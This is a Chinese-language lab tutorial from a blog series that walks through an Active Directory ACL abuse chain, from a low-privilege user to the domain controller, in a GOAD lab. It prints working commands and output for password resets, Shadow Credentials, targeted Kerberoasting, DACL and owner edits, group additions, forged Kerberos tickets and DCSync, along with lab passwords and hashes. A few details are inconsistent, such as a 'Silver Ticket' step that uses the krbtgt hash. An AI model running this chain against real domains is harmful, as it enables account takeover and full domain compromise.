iT邦幫忙

2025 iThome 鐵人賽

DAY 19
0
Security

資安這條路:AD 攻防實戰演練系列 第 19

AD 攻防實戰演練 Day 19:掌握 Active Directory ACL 攻擊鏈 從低權限使用者到域控制器的完整滲透路徑

  • 分享至 

  • xImage
  •  

前言

經過今天的深入實戰演練,我們將實作從低權限使用者(tywin.lannister)到域控制器(kingslanding)的完整 ACL 攻擊鏈,並且學習透過 BloodHound 了解攻擊路徑。

ACL 攻擊的核心本質

ACL 攻擊 ≠ 漏洞利用
ACL 攻擊 = 濫用合法的權限設定

特點:
├── 使用內建的 Windows 功能
├── 不需要特殊的漏洞或 Exploit
├── 攻擊痕跡難以與正常操作區分
└── 防禦重點在於「權限設計」而非「漏洞修補」

本日目標

完成今天的實戰演練後,你將能夠:

  • 掌握 Active Directory ACL
  • 區分 ACL、ACE、DACL、SACL 的功能與差異
  • 理解 10+ 種高風險 ACE 權限類型及其利用方式
  • 使用 BloodHound 自動化發現並視覺化 ACL 攻擊路徑

第一部分:理解 Active Directory ACL/ACE

1.1 什麼是 ACL 和 ACE?

在 Active Directory 中,每個物件(使用者、群組、電腦、OU 等)都有一個安全描述符(Security Descriptor),其中包含:

Security Descriptor
├── Owner(擁有者)
├── Primary Group(主要群組)
├── DACL (Discretionary Access Control List)
│   └── 多個 ACE (Access Control Entry)
│       ├── Trustee(被授權者:使用者/群組)
│       ├── Access Mask(權限:Read, Write, Delete...)
│       └── ACE Type(Allow 或 Deny)
└── SACL (System Access Control List)
    └── 用於審計日誌

白話解釋

ACL = Access Control List = 訪問控制清單
     ↓
     就像一張「權限表」

ACE = Access Control Entry = 訪問控制條目
     ↓
     表中的「一筆記錄」

範例:
物件:CN=Administrator
DACL 包含以下 ACE:
- ACE 1: Domain Admins 群組有 FullControl(完全控制)
- ACE 2: Account Operators 群組有 ResetPassword(重置密碼)
- ACE 3: tywin.lannister 有 GenericWrite(通用寫入)← 攻擊點!

1.2 常見的 ACE 權限類型

高危險權限(直接利用)

權限名稱 英文 可執行的攻擊 危險程度
GenericAll GENERIC_ALL 完全控制:修改密碼、Shadow Credentials、WriteDacl 🔴 極高
GenericWrite GENERIC_WRITE Shadow Credentials、Target Kerberoasting、修改屬性 🔴 極高
WriteProperty WRITE_PROP 修改特定屬性(如 msDS-KeyCredentialLink) 🟠 高
WriteDacl WRITE_DACL 修改 ACL,給自己授予 GenericAll 🔴 極高
WriteOwner WRITE_OWNER 成為擁有者,然後修改 ACL 🔴 極高
ForceChangePassword User-Force-Change-Password 直接重置使用者密碼 🔴 極高

群組相關權限

權限名稱 可執行的攻擊 危險程度
AddMember 將任意使用者加入群組 🟠 高
AddSelf 將自己加入群組 🟡 中

其他相關權限

權限名稱 說明 利用方式
ReadLAPSPassword 讀取 LAPS 密碼 取得本地管理員密碼
ReadGMSAPassword 讀取 gMSA 密碼 取得服務帳號密碼
WriteAccountRestrictions 修改帳號限制 修改 UAC、SPN 等

1.3 使用 BloodHound 視覺化 ACL 攻擊路徑

匯入資料到 BloodHound

# 使用 SharpHound (Windows) 收集
# 從 Kali HTTP 伺服器下載 SharpHound.exe
python3 -m http.server 8080

# 在 Windows 上執行(如 KINGSLANDING)
.\SharpHound.exe -c All --zipfilename goad.zip

# 或使用 BloodHound Python (Linux)
bloodhound-python -u arya.stark -p Needle \
  -d north.sevenkingdoms.local \
  -dc winterfell.north.sevenkingdoms.local \
  -ns 192.168.139.11 \
  -c All

image

查詢 ACL 攻擊路徑

# 查詢所有 ACL 關係(排除 Vagrant 和受保護群組)
MATCH p=(u)-[r1]->(n) 
WHERE r1.isacl=true 
  AND NOT toLower(u.name) CONTAINS 'vagrant' 
  AND u.admincount=false 
  AND NOT toLower(u.name) CONTAINS 'key' 
RETURN p

查詢結果(sevenkingdoms.local 的 ACL 鏈)

tywin.lannister
    ↓ ForceChangePassword
jaime.lannister
    ↓ GenericWrite
joffrey.baratheon
    ↓ WriteDacl
tyron.lannister
    ↓ AddMember
Small Council (群組)
    ↓ AddMember
DragonStone (群組)
    ↓ WriteOwner
kingsguard (群組)
    ↓ GenericAll
stannis.baratheon
    ↓ GenericAll
kingslanding$ (DC)

image

這就是我們今天要走的完整攻擊路徑!

1.4 AdminSDHolder 保護機制

什麼是 AdminSDHolder?

AdminSDHolder 是一個特殊的容器物件,位於:

CN=AdminSDHolder,CN=System,DC=domain,DC=local

作用

  • 每隔 60 分鐘,Active Directory 目錄服務 (ntds.exe) 內的 SDProp(Security Descriptor Propagator)背景執行緒 會觸發一次檢查與更新
  • 它會將 AdminSDHolder 物件的安全描述子(ACL) 複製並套用到所有受保護群組及其成員物件(如 Domain Admins、Enterprise Admins 等)
  • 在套用過程中,任何手動修改過的 ACL 都會被覆蓋,以確保一致性與安全性

受保護的群組

群組名稱 RID 說明
Account Operators 548 可建立/修改使用者帳號
Administrator 500 內建管理員帳號
Administrators 544 本地管理員群組
Backup Operators 551 備份權限
Domain Admins 512 域管理員
Domain Controllers 516 域控制器
Enterprise Admins 519 企業管理員
Krbtgt 502 Kerberos 票證帳號
Print Operators 550 列印管理
Read-only Domain Controllers 521 RODC
Replicator 552 複製權限
Schema Admins 518 Schema 管理員
Server Operators 549 伺服器管理

檢查使用者是否受保護

# 使用 LDAP 查詢
ldapsearch -x -H ldap://192.168.139.10 \
  -D "tywin.lannister@sevenkingdoms.local" \
  -w 'powerkingftw135' \
  -b "DC=sevenkingdoms,DC=local" \
  "(sAMAccountName=Administrator)" \
  adminCount

# adminCount=1 表示受保護

image

為什麼這很重要?

攻擊者在 Domain Admins 成員上設定後門 ACL
↓
60 分鐘後
↓
SDProp 執行,覆蓋所有 ACL
↓
後門失效

防禦者也要注意

  • 如果使用者曾經是受保護群組成員,即使後來被移除,adminCount=1 仍會保留
  • 這些使用者的 ACL 不會被 AdminSDHolder 重置(因為已經不在群組中)
  • 可能留下舊的 ACL 權限 → 潛在安全風險

第二部分:sevenkingdoms.local 的 ACL 攻擊鏈

現在開始我們的攻擊之旅!從 tywin.lannister 一路打到域控制器 kingslanding$

2.1 ForceChangePassword:tywin → jaime

攻擊場景:tywin.lannister 對 jaime.lannister 有 ForceChangePassword 權限。

重要警告

在真實滲透測試中,絕對不要使用 ForceChangePassword!

原因:
1. 會導致使用者無法登入(舊密碼失效)
2. 可能觸發帳號鎖定
3. 會留下明顯的審計日誌
4. 影響業務運作

替代方案:
- 使用 Shadow Credentials(不改密碼)
- 使用 Target Kerberoasting(需要弱密碼)
- 報告發現,不實際利用

實際操作

# 使用 net rpc password 修改密碼
net rpc password jaime.lannister \
  -U sevenkingdoms.local/tywin.lannister%powerkingftw135 \
  -S kingslanding.sevenkingdoms.local

互動過程

Enter new password for jaime.lannister: newjaimepassword

驗證新密碼

nxc smb 192.168.139.10 \
  -u jaime.lannister \
  -d sevenkingdoms.local \
  -p 'newjaimepassword'

image

輸出

SMB    192.168.139.10  445    KINGSLANDING  [+] sevenkingdoms.local\jaime.lannister:pasdebraspasdechocolat

偵測方式

Event ID 4724 - An attempt was made to reset an account's password
Source Account: tywin.lannister
Target Account: jaime.lannister

這裡改回原來的密碼

net rpc password jaime.lannister \
-U sevenkingdoms.local/tywin.lannister%powerkingftw135 \
-S kingslanding.sevenkingdoms.local

nxc smb 192.168.139.10 \
  -u jaime.lannister \
  -d sevenkingdoms.local \
  -p 'cersei'

image

2.2 GenericWrite:jaime → joffrey

攻擊場景:jaime.lannister 對 joffrey.baratheon 有 GenericWrite 權限。

GenericWrite 是最強大的權限之一,可以用於多種攻擊:

GenericWrite 可執行的攻擊
├── Shadow Credentials ← 推薦(Windows Server 2016+)
├── Target Kerberoasting ← 需要弱密碼
└── Logon Script / Profile Path ← 需要使用者登入

方法 1:Shadow Credentials

pip3 install pywhisker

# 使用 pywhisker 自動執行
pywhisker -d sevenkingdoms.local \
  -u jaime.lannister \
  -p 'cersei' \
  --target joffrey.baratheon \
  --action add

image

輸出

# 輸出會給你:
# - PFX 檔名:Im5yoG74.pfx
# - PFX 密碼:XrCYuQSTMlRnzEKkR3Bb
[*] Searching for the target account
[*] Target user found: CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 0c1f8a0c-5b3f-9509-3058-e83933f71756
[*] Updating the msDS-KeyCredentialLink attribute of joffrey.baratheon
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: Im5yoG74.pfx
[*] Must be used with password: XrCYuQSTMlRnzEKkR3Bb
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
# 步驟 2:使用 certipy 認證(記得加密碼!)
certipy auth -pfx Im5yoG74.pfx \
  -password 'XrCYuQSTMlRnzEKkR3Bb' \
  -dc-ip 192.168.139.10 \
  -domain sevenkingdoms.local \
  -username joffrey.baratheon
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'joffrey.baratheon@sevenkingdoms.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'joffrey.baratheon.ccache'
[*] Wrote credential cache to 'joffrey.baratheon.ccache'
[*] Trying to retrieve NT hash for 'joffrey.baratheon'
[*] Got hash for 'joffrey.baratheon@sevenkingdoms.local': aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1
# 步驟 3:使用取得的憑證(使用 NT Hash)
nxc smb 192.168.139.10 -u joffrey.baratheon -H '3b60abbc25770511334b3829866b08f1' -d sevenkingdoms.local

image

現在我們有

  • joffrey.baratheon 的 NT Hash
  • joffrey.baratheon 的 TGT(.ccache 檔案)
  • joffrey.baratheon 的憑證(.pfx 檔案)

方法 2:Target Kerberoasting

原理:臨時為目標使用者新增 SPN → 請求 TGS → 破解 TGS → 移除 SPN

# 安裝 targetedKerberoast
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
cd targetedKerberoast
pip3 install -r requirements.txt
cd ~/goad/day19

# 執行攻擊
python3 targetedKerberoast/targetedKerberoast.py \
-d sevenkingdoms.local \
-u jaime.lannister \
-p 'cersei' \
--request-user joffrey.baratheon \
--dc-ip 192.168.139.10
 
[*] Starting kerberoast attacks
[*] Attacking user (joffrey.baratheon)
[+] Printing hash for (joffrey.baratheon)
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local/joffrey.baratheon*$85f3e0229035988ce6b72e00cade0e8b$ebc445c54b54bf517d3a01af7e80c801e445c6729102e61a6fc6e24e2fd9681a5c1bb1fd79e08b5eb51c30acc33d503081e45d502500ebd787bdb3a2e2ef82de856348f3271f29454204d039b88cf46043756d268159b7b3c5160d131733e41a179db227c90ccccae0b4a021743d5af5d4c2f127c5adbdf75fd1f554514322e82c18e6ca599033f14f353343b59757ba7abcb44495d2e7dee295fc445c2d30f4cb69967339a97b051b8b27fbc25a770d01dca29ef3b33fc3f5ab034ac5696bf0ed6590f742b5dbdb67d45eb30a3ee78e564db01890b27b4de11097c2bebc3730649951fe9db8187b4d2f374c8034c9a9daedb80d8946e127391b7283979c16e84b257a86ac83a2cb4e8c2d18e7b141889c1f464454af275b126cddb0bc8158cd76178d575d6b05357fd2d31a014c9c0702a14690ce91302e1c41a2ea5ff3e3d6de943942a96ab078e706dc9747c83c95584dd6ab79a8a41086b7b9f599597b536780c52a864a04d2d820dd6c8dab965cfd2327988e78b510a0a99ff69361b3d9129419b8b02bb742077a24a0433e1a2147920fecc3cfece1dab2efdef5ce14c670225f58a3e29fee5d21f27392664983ead549eeeeda3dad058ace34e0483b2bc6eb2d403c4306b118b9acd4497d9aa156c763471fc73fef68ffb17cb6a0b2d22e2abf5f99eb60cb9ffa8c15b3c5e8cf3706c37388d6c1641ed713fc5b6e8acd7d6bc6d746ba06457297b5712fc6fd1894eed2ce862862dd045b566f494022559c46928ce396b2a98d6694d39db3734734e2dc93bf6712105c208e2a9bdbc6027ae19662c6bb96b4082d4f7b073170ebf0fc1513511cfd4b017cccd4bee010fbb923c2a005a43c71eb1d122936ee4d8e70cc776af1dd1cd21e9852b29678df877d8036abbea081965a834e026212e31ff4c512eca1ba6ae082bd90b50fd5330a82c0aedc23a49a2091ac40871ac5b67800506bf7ebc3fd39d2301e314113d5159f599d16b9ae1b1e70c80b8ce6066cb6e21beb0ab9b430ef48485a8b9de25afb2be2667c7728396c5277b310c4fa4634835c95c00f24c2245612a557547dcc3c3692616c8ddd3c27b70366a842626f171399963c4d2f844da42e0e0719582de82eb100272d0660ea2e7c99c62c52b713e41803438b9bda2d0c2d8923303aaa0f719126b8d6b865ff78749c5803bb65b418cc03f7e29f66c9597faadef1b2e828f7899b9097062cce88e01f94d616ee6d6871c0be018fc57c42f44fd7595a371e3e11b5d0773bd3deab591e463bcf103d7e19cb180f20a2f1b6b44f8f1f94431310d586f60cf9d4c3dfe81b522e770c510d46bcc372c48d83d82e69dc5ed2297640818f90ec251c815bc67a5ab16e778c77009a1e58bd8edc5508a391b1a796196dca179b7fe6bee6280340a8db9bedf5e2a4a8bb6debabee8de0a3a03f10313cd8a96800586421124daebee77a3e01510c8047bea053a173b529f82dda49f85001b671e53ddfa957e3a735

image

破解 TGS

# 儲存 Hash
cat > joffrey.hash << 'EOF'
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local/joffrey.baratheon*$85f3e0229035988ce6b72e00cade0e8b$ebc445c54b54bf517d3a01af7e80c801e445c6729102e61a6fc6e24e2fd9681a5c1bb1fd79e08b5eb51c30acc33d503081e45d502500ebd787bdb3a2e2ef82de856348f3271f29454204d039b88cf46043756d268159b7b3c5160d131733e41a179db227c90ccccae0b4a021743d5af5d4c2f127c5adbdf75fd1f554514322e82c18e6ca599033f14f353343b59757ba7abcb44495d2e7dee295fc445c2d30f4cb69967339a97b051b8b27fbc25a770d01dca29ef3b33fc3f5ab034ac5696bf0ed6590f742b5dbdb67d45eb30a3ee78e564db01890b27b4de11097c2bebc3730649951fe9db8187b4d2f374c8034c9a9daedb80d8946e127391b7283979c16e84b257a86ac83a2cb4e8c2d18e7b141889c1f464454af275b126cddb0bc8158cd76178d575d6b05357fd2d31a014c9c0702a14690ce91302e1c41a2ea5ff3e3d6de943942a96ab078e706dc9747c83c95584dd6ab79a8a41086b7b9f599597b536780c52a864a04d2d820dd6c8dab965cfd2327988e78b510a0a99ff69361b3d9129419b8b02bb742077a24a0433e1a2147920fecc3cfece1dab2efdef5ce14c670225f58a3e29fee5d21f27392664983ead549eeeeda3dad058ace34e0483b2bc6eb2d403c4306b118b9acd4497d9aa156c763471fc73fef68ffb17cb6a0b2d22e2abf5f99eb60cb9ffa8c15b3c5e8cf3706c37388d6c1641ed713fc5b6e8acd7d6bc6d746ba06457297b5712fc6fd1894eed2ce862862dd045b566f494022559c46928ce396b2a98d6694d39db3734734e2dc93bf6712105c208e2a9bdbc6027ae19662c6bb96b4082d4f7b073170ebf0fc1513511cfd4b017cccd4bee010fbb923c2a005a43c71eb1d122936ee4d8e70cc776af1dd1cd21e9852b29678df877d8036abbea081965a834e026212e31ff4c512eca1ba6ae082bd90b50fd5330a82c0aedc23a49a2091ac40871ac5b67800506bf7ebc3fd39d2301e314113d5159f599d16b9ae1b1e70c80b8ce6066cb6e21beb0ab9b430ef48485a8b9de25afb2be2667c7728396c5277b310c4fa4634835c95c00f24c2245612a557547dcc3c3692616c8ddd3c27b70366a842626f171399963c4d2f844da42e0e0719582de82eb100272d0660ea2e7c99c62c52b713e41803438b9bda2d0c2d8923303aaa0f719126b8d6b865ff78749c5803bb65b418cc03f7e29f66c9597faadef1b2e828f7899b9097062cce88e01f94d616ee6d6871c0be018fc57c42f44fd7595a371e3e11b5d0773bd3deab591e463bcf103d7e19cb180f20a2f1b6b44f8f1f94431310d586f60cf9d4c3dfe81b522e770c510d46bcc372c48d83d82e69dc5ed2297640818f90ec251c815bc67a5ab16e778c77009a1e58bd8edc5508a391b1a796196dca179b7fe6bee6280340a8db9bedf5e2a4a8bb6debabee8de0a3a03f10313cd8a96800586421124daebee77a3e01510c8047bea053a173b529f82dda49f85001b671e53ddfa957e3a735
EOF

# 使用 Hashcat 破解
hashcat -m 13100 -a 0 joffrey.hash /usr/share/wordlists/rockyou.txt

image

成功輸出

$krb5tgs$23$*joffrey.baratheon$...:1killerlion

Session..........: hashcat
Status...........: Cracked

image

侷限性

  • 需要使用者密碼足夠弱(在字典中)
  • 新增/移除 SPN 會產生審計日誌
  • 不如 Shadow Credentials 隱蔽

2.3 WriteDacl:joffrey → tyron

攻擊場景:joffrey.baratheon 對 tyron.lannister 有 WriteDacl 權限。

WriteDacl 允許我們修改目標的 ACL,給自己授予任意權限(通常是 GenericAll)。

使用 dacledit.py

# 首先查看當前權限
impacket-dacledit -action 'read' \
  -principal joffrey.baratheon \
  -target 'tyron.lannister' \
  'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

image

輸出

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-3099511005-1426058213-160971164-1118)
[*]   ACE[19] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : WriteDACL (0x40000)
[*]     Trustee (SID)             : joffrey.baratheon (S-1-5-21-3099511005-1426058213-160971164-1118)

授予自己 FullControl

# 寫入新的 ACE
impacket-dacledit -action 'write' \
  -rights 'FullControl' \
  -principal joffrey.baratheon \
  -target 'tyron.lannister' \
  'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

image

輸出

[*] DACL modified successfully!
[*] joffrey.baratheon has now FullControl on tyron.lannister

驗證新權限

# 再次讀取 ACL
impacket-dacledit -action 'read' \
  -principal joffrey.baratheon \
  -target 'tyron.lannister' \
  'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

image

輸出

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-3099511005-1426058213-160971164-1118)
[*]   ACE[19] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : WriteDACL (0x40000)
[*]     Trustee (SID)             : joffrey.baratheon (S-1-5-21-3099511005-1426058213-160971164-1118)
[*]   ACE[21] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : joffrey.baratheon (S-1-5-21-3099511005-1426058213-160971164-1118)

現在利用 FullControl 執行 Shadow Credentials

certipy shadow auto \
  -u joffrey.baratheon@sevenkingdoms.local \
  -p '1killerlion' \
  -account 'tyron.lannister'

image

輸出

[*] Using principal: 'tyron.lannister@sevenkingdoms.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'tyron.lannister.ccache'
[*] Wrote credential cache to 'tyron.lannister.ccache'
[*] Trying to retrieve NT hash for 'tyron.lannister'
[*] Restoring the old Key Credentials for 'tyron.lannister'
[*] Successfully restored the old Key Credentials for 'tyron.lannister'
[*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998

成功取得 tyron.lannister 的 NT Hash!


2.4 AddMember:tyron → Small Council 群組

攻擊場景:tyron.lannister 可以將自己加入 Small Council 群組。

使用 ldeep 操作群組成員

sudo apt install ldeep -y

image

# 步驟 1:查詢 tyron 的 Distinguished Name
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  search '(sAMAccountName=tyron.lannister)' distinguishedName

image

輸出

distinguishedName: CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
# 步驟 2:查詢 Small Council 的 Distinguished Name
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  search '(sAMAccountName=Small Council)' distinguishedName

image

輸出

distinguishedName: CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
# 步驟 3:將 tyron 加入 Small Council
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  add_to_group \
  "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" \
  "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"

image

輸出

[*] Successfully added user to group

驗證群組成員資格

# 查詢 Small Council 的成員
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  membersof 'Small Council'

image

輸出

[*] Members of Small Council:
    - petyer.baelish
    - lord.varys
    - tyron.lannister ← 成功加入!

2.5 AddMember:Small Council → DragonStone 群組

攻擊場景:Small Council 群組對 DragonStone 群組有 AddMember 權限。

現在 tyron 是 Small Council 的成員,繼承了該群組的權限。

# 將 tyron 加入 DragonStone 群組
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  add_to_group \
  "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" \
  "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

image

輸出

[*] Successfully added user to group

驗證

# 檢查 tyron 的群組成員資格
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  search '(sAMAccountName=tyron.lannister)' memberOf

image

輸出

memberOf: 
  CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
  CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local ← 成功!

2.6 WriteOwner:DragonStone → kingsguard 群組

攻擊場景:DragonStone 群組對 kingsguard 群組有 WriteOwner 權限。

WriteOwner 允許我們變更物件的擁有者。一旦成為擁有者,就可以修改該物件的 ACL。

使用 owneredit.py

# 步驟 1:查看當前擁有者
impacket-owneredit -action read \
  -target 'kingsguard' \
  -hashes ':b3b3717f7d51b37fb325f7e7d048e998' \
  sevenkingdoms.local/tyron.lannister

image

輸出

[*] Current Owner: CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
# 步驟 2:將擁有者改為 tyron.lannister
impacket-owneredit -action write \
  -new-owner 'tyron.lannister' \
  -target 'kingsguard' \
  -hashes ':b3b3717f7d51b37fb325f7e7d048e998' \
  sevenkingdoms.local/tyron.lannister

image

輸出

[*] Owner modified successfully!
[*] New Owner: CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local

作為擁有者修改 ACL

# 步驟 3:給自己授予 FullControl
impacket-dacledit -action 'write' \
  -rights 'FullControl' \
  -principal tyron.lannister \
  -target 'kingsguard' \
  'sevenkingdoms.local'/'tyron.lannister' \
  -hashes ':b3b3717f7d51b37fb325f7e7d048e998'

image

輸出

[*] DACL modified successfully!
[*] tyron.lannister has now FullControl on kingsguard

將自己加入 kingsguard 群組

# 步驟 4:將 tyron 加入 kingsguard
ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  add_to_group \
  "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" \
  "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"

image

驗證是否有加入成功

ldeep ldap -u tyron.lannister \
  -H ':b3b3717f7d51b37fb325f7e7d048e998' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  search '(sAMAccountName=tyron.lannister)' memberOf

image

成功!tyron 現在是 kingsguard 的成員!


2.7 GenericAll on User:kingsguard → stannis

攻擊場景:kingsguard 群組對 stannis.baratheon 有 GenericAll 權限。

GenericAll 是最高權限,可以執行任何操作。最簡單的方式是修改密碼。

# 使用 net rpc password 修改密碼
net rpc password stannis.baratheon \
  --pw-nt-hash \
  -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 \
  -S kingslanding.sevenkingdoms.local

互動過程

Enter new password for stannis.baratheon: newstannisP@ssword

驗證

nxc smb 192.168.139.10 \
  -u stannis.baratheon \
  -d sevenkingdoms.local \
  -p 'newstannisP@ssword'

image

輸出

SMB    192.168.139.10  445    KINGSLANDING  [+] sevenkingdoms.local\stannis.baratheon:newstannisP@ssword

2.8 GenericAll on Computer:stannis → kingslanding$

攻擊場景:stannis.baratheon 對域控制器 kingslanding$ 有 GenericAll 權限。

這是攻擊鏈的最後一步!對 DC 的 GenericAll 有多種利用方式:

GenericAll on DC
├── RBCD (Resource-Based Constrained Delegation) ← Day 18 學過
├── Shadow Credentials ← 推薦(如果有 ADCS)
└── DCSync ← 如果直接有 Replication 權限

方法 1:Shadow Credentials on Computer(推薦)

# 對域控制器執行 Shadow Credentials
certipy shadow auto \
  -u stannis.baratheon@sevenkingdoms.local \
  -p 'newstannisP@ssword' \
  -account 'kingslanding$'

image

輸出

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: SEVENKINGDOMS.LOCAL.
[!] Use -debug to print a stacktrace
[*] Targeting user 'KINGSLANDING$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '72ecbb0b547540fb9207e3b30db5e22a'
[*] Adding Key Credential with device ID '72ecbb0b547540fb9207e3b30db5e22a' to the Key Credentials for 'KINGSLANDING$'
[*] Successfully added Key Credential with device ID '72ecbb0b547540fb9207e3b30db5e22a' to the Key Credentials for 'KINGSLANDING$'
[*] Authenticating as 'KINGSLANDING$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'kingslanding$@sevenkingdoms.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'kingslanding.ccache'
[*] Wrote credential cache to 'kingslanding.ccache'
[*] Trying to retrieve NT hash for 'kingslanding$'
[*] Restoring the old Key Credentials for 'KINGSLANDING$'
[*] Successfully restored the old Key Credentials for 'KINGSLANDING$'
[*] NT hash for 'KINGSLANDING$': 9ed9670d33c248ff3333dc0ccbff9032


成功!我們現在有 DC 的機器帳號憑證!

利用機器帳號取得管理員 Shell

┌──(impacket)─(kali㉿kali)-[~]
└─$ cat /etc/krb5.conf
[libdefaults]
    default_realm = SEVENKINGDOMS.LOCAL
    dns_lookup_kdc = true
    dns_lookup_realm = false

[realms]
    SEVENKINGDOMS.LOCAL = {
        kdc = kingslanding.sevenkingdoms.local
        admin_server = kingslanding.sevenkingdoms.local
    }
    NORTH.SEVENKINGDOMS.LOCAL = {
        kdc = winterfell.north.sevenkingdoms.local
        admin_server = winterfell.north.sevenkingdoms.local
    }

[domain_realm]
    .sevenkingdoms.local = SEVENKINGDOMS.LOCAL
    sevenkingdoms.local = SEVENKINGDOMS.LOCAL
    .north.sevenkingdoms.local = NORTH.SEVENKINGDOMS.LOCAL
    north.sevenkingdoms.local = NORTH.SEVENKINGDOMS.LOCAL

現在我們有 DC 的機器帳號(kingslanding$),有兩種方法提升到 Administrator:

方法 A:S4U2Self Abuse

# 設定 TGT
export KRB5CCNAME=kingslanding.ccache

# 使用 S4U2Self 請求 Administrator 的服務票證
impacket-getST -self \
  -impersonate "Administrator" \
  -altservice "cifs/kingslanding.sevenkingdoms.local" \
  -k -no-pass \
  -dc-ip 192.168.139.10 \
  "sevenkingdoms.local"/'kingslanding$'

image

輸出

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Changing service from kingslanding$@SEVENKINGDOMS.LOCAL to cifs/kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

使用票證連接

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

impacket-smbclient -k -no-pass \
  -dc-ip 192.168.139.10 \
  sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

image

方法 B:Silver Ticket

# 步驟 1:查詢域 SID
impacket-lookupsid \
  -hashes ':9ed9670d33c248ff3333dc0ccbff9032' \
  'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0

image

輸出

[*] Domain SID is: S-1-5-21-3099511005-1426058213-160971164
#krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::

# 步驟 2:建立 Silver Ticket
impacket-ticketer \
  -nthash '3bd92e98b99b5f66fc4d771a18e003bb' \
  -domain-sid 'S-1-5-21-3099511005-1426058213-160971164' \
  -domain sevenkingdoms.local \
  -dc-ip 192.168.139.10 \
  -user-id 500 \                                                                                                     Administrator

image

輸出

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sevenkingdoms.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
# 步驟 3:使用 Silver Ticket
export KRB5CCNAME=/home/kali/Administrator.ccache

evil-winrm -i kingslanding.sevenkingdoms.local -r SEVENKINGDOMS.LOCAL

image

成功!完全控制域控制器!

執行 DCSync(取得所有憑證)

impacket-secretsdump -hashes :9ed9670d33c248ff3333dc0ccbff9032 \
  'sevenkingdoms.local/kingslanding$@192.168.139.10'

image

